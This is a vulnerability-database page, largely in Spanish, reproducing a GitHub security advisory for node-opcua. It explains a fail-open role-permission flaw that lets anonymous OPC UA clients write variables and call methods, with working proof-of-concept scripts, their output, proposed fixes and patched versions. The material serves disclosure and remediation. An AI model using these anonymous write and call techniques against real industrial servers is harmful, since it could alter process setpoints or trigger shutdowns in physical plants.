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Advisory · GitHub · npm · node-opcua

GHSA-XGGF-M53X-JC3F

node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions

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CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -68 d de la divulgación
Exposición10 dDesde la divulgación, 10 nov 2026, 10:56 a. m.
Detección6 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (crítica) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 2.180.0
Monitoreo
Detectada
3 sept 26
10 nov 26
17 nov 26
21 nov 26
3 sept 26
23 sept 26
13 oct 26
1 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.180.0 node-opcua · -68 d desde divulgación
Divulgación Publicada GHSA-XGGF-M53X-JC3F divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.

This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead grants all permissions.

The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.

---

## Affected configuration
This advisory covers two cases that are not equally severe:
1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.
2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default.
Everything below describes case 2 unless stated otherwise.

Root Cause Analysis

Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates §4.8.3 default-deny)

File: `packages/node-opcua-address-space/source/session_context.ts:151-153`

function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
    if (rolePermissions === null) {
        return allPermissions; // null means "grant everything" to ANY role, including Anonymous
    }

When the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, including Anonymous. OPC 10000-3 §4.8.3 requires the opposite: *"If they are not set the Server returns `Bad_UserAccessDenied`."*

Bug 2 - The namespace default resolves to `null` on the enforcement path

The runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/<ns>`. These resolve to `null` in every reachable configuration:

  • NodeSet2-loaded namespaces (DI / ADI / vendor) ship the Property without a `Value` (`null`).
  • Programmatically-created namespaces have no `NamespaceMetadata` node under `Server/Namespaces`, so the lookup returns `null`.

Additionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore:

for (const ns of namespacesNode.getComponents()) {
    const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
    if (defaultRolePermissions) {
        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
    }
}

> Note: the loaded value is already `null` in stock nodesets, so this reset only changes the value's `dataType` tag; it is not the sole cause, the namespace default is `null` regardless.

Bug 3 - Two incoherent enforcement paths

There are two separate and disconnected paths to resolve namespace-default permissions.

Path A (private field) - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`:

public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}

This is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`).

Path B (UAVariable node) - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` UAVariable node instead of the private field (`session_context.ts`):

const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
    const dataValue = defaultRolePermissions.readValue();
    if (dataValue?.statusCode.isGood()) {
        return dataValue.value.value as RolePermissionType[] | null;
    }
}

Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`, the metadata node is absent (programmatic namespace) or Null-valued (nodeset namespace) and the operator's `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1).

> *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`.

Synchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`:

metaData.defaultRolePermissions?.bindVariable(
    {
        get: () =>
            new Variant({
                dataType: DataType.ExtensionObject,
                arrayType: VariantArrayType.Array,
                value: namespace.getDefaultRolePermissions()
            })
    },
    true
);

Without calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has no effect on runtime authorization. Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `"INamespace meta data already exists"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.

---

Steps to Reproduce

PoC-A - Address-space level (unit test, no network)

Save as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run:

cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";

const _keep = should;

describe("PoC RBAC fail-open", () => {
    let addressSpace: AddressSpace;
    let namespace: Namespace;

    before(async () => {
        addressSpace = await getMiniAddressSpace();
        namespace = addressSpace.getOwnNamespace();
    });
    after(() => addressSpace.dispose());

    function anonymousContext(): SessionContext {
        const ctx = new SessionContext();
        ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
        return ctx;
    }

    it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
        const secured = namespace.addVariable({
            browseName: "SecuredWithNodePermissions",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        secured.setRolePermissions([
            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
        ]);
        const ctx = anonymousContext();
        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
    });

    it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
        const relyingOnDefault = namespace.addVariable({
            browseName: "RelyingOnNamespaceDefault",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        const ctx = anonymousContext();
        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
        should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
        relyingOnDefault.isUserWritable(ctx).should.eql(true);
    });

    it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
        const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
        const method = namespace.addMethod(obj, {
            browseName: "PrivilegedMethod",
            inputArguments: [],
            outputArguments: []
        });
        method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
        const ctx = anonymousContext();
        ctx.checkPermission(method, PermissionType.Call).should.eql(true);
        method.getUserExecutableFlag(ctx).should.eql(true);
    });
});

Output:

  PoC RBAC fail-open
    ✓ A. CONTROL: per-node rolePermissions deny Anonymous
    ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
    ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call

  3 passing
PoC-B - End-to-end over TCP (programmatic namespace)

Save as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control):

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");

const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true
    });
    await server.initialize();

    const ns = server.engine.addressSpace.getOwnNamespace();

    // Operator hardening: namespace-level RBAC, Anonymous excluded
    ns.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
    ]);
    if (SAFE_MODE) {
        setNamespaceMetaData(ns);
    }

    const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    parentNodeId = device.nodeId;

    const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
    method.bindMethod((_in, _ctx, cb) => {
        console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodNodeId = method.nodeId;

    const variable = ns.addVariable({
        browseName: "ReactorSetpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 350.0 }
    });
    variableNodeId = variable.nodeId;

    await server.start();
    console.log(`[server] Listening on ${ENDPOINT}`);
    return server;
}

async function anonymousAttack() {
    const client = OPCUAClient.create({
        endpointMustExist: false,
        securityMode: MessageSecurityMode.None,
        securityPolicy: SecurityPolicy.None
    });
    await client.connect(ENDPOINT);
    const session = await client.createSession({ type: UserTokenType.Anonymous });
    console.log("[client] Anonymous session activated");

    let callStatus;
    try {
        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
        callStatus = r.statusCode.toString();
    } catch (e) { callStatus = e.message; }

    let writeStatus;
    try {
        const r = await session.write({
            nodeId: variableNodeId,
            attributeId: AttributeIds.Value,
            value: { value: { dataType: DataType.Double, value: 999.0 } }
        });
        writeStatus = r.toString();
    } catch (e) { writeStatus = e.message; }

    await session.close();
    await client.disconnect();
    return { callStatus, writeStatus };
}

(async () => {
    const server = await startServer();
    try {
        const { callStatus, writeStatus } = await anonymousAttack();
        console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
        console.log(`CALL  EmergencyShutdown : ${callStatus}`);
        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);
        const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
        console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
    } finally {
        await server.shutdown();
    }
})().catch(e => { console.error(e); process.exit(1); });

Vulnerable output (`node poc_b_e2e_rbac.js`):

[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL  EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint   : Good (0x00000000)

Control output (`node poc_b_e2e_rbac.js --safe`):

Mode: SAFE
CALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)
PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)

Save as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`:

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");

const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true,
        nodeset_filename: [nodesets.standard, nodesets.di]
    });
    await server.initialize();

    const di = server.engine.addressSpace.getNamespace(DI_URI);
    di.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
    ]);
    try {
        setNamespaceMetaData(di);
        console.log("[server] hardening: metadata bound");
    } catch (e) {
        console.log("[server] hardening FAILED:", e.message);
    }

    const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    deviceId = device.nodeId;

    const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
    m.bindMethod((_i, _c, cb) => {
        console.log("[server] Stop() EXECUTED by anonymous");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodId = m.nodeId;

    const v = di.addVariable({
        browseName: "Setpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 42 }
    });
    variableId = v.nodeId;

    await server.start();
    return server;
}

async function attack() {
    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
    await client.connect(`opc.tcp://localhost:${PORT}`);
    const s = await client.createSession({ type: UserTokenType.Anonymous });
    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
    await s.close();
    await client.disconnect();
    console.log("CALL  Stop()   :", call);
    console.log("WRITE Setpoint :", write);
}

(async () => {
    const srv = await startServer();
    try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });

Output:

[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL  Stop()   : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)

---

Impact

  • Write arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters.
  • Call bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`).
  • Affects every Node relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 §5.2.9.
  • Anonymous receives every `PermissionFlag` because `null` resolves to `allPermissions`.
  • Availability impact (A:H, CVSS 9.8) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific.

What is NOT affected

Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.

  • Nodes with explicit per-node `RolePermissions` (correctly enforced - PoC-A case A).
  • Programmatically-created namespaces where the operator calls both `setDefaultRolePermissions()` and `setNamespaceMetaData()` (PoC-B `--safe`).
  • Variables without `CurrentWrite` in AccessLevel (the Call vector still applies to Methods).

---

Proposed Fix

  1. Fail-closed - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per §4.8.3 default-deny).
  2. Coherent path - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly.
  3. API safety - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces).
  4. Hardening - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`.

---

Spec Reference (verified verbatim against the official OPC Foundation reference)

  • OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: *"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`."* (default-deny, the behaviour Bug 1 inverts). <https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3>
  • OPC 10000-3 §5.2.9 - RolePermissions: *"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead."* and *"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace."* <https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9>
  • OPC 10000-5 §6.3.13 - NamespaceMetadataType (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). <https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13>

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
node-opcua · node-opcua-address-space · node-opcua-server≥ 2.42.0 < 2.180.0
2.42.0
2.180.0
2.187.32
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmnode-opcua
Corregida 2.180.0 -68 d 2.187.32 no afectada
npmnode-opcua-address-space
Corregida 2.180.0 -68 d 2.187.32 no afectada
npmnode-opcua-server
Corregida 2.180.0 -68 d 2.187.32 no afectada
Versiones corregidas2.180.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-95860
Otrahttps://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f
Otrahttps://github.com/node-opcua/node-opcua/pull/1580
Otrahttps://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698
Otrahttps://github.com/node-opcua/node-opcua
Otrahttps://github.com/node-opcua/node-opcua/releases/tag/v2.180.0

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.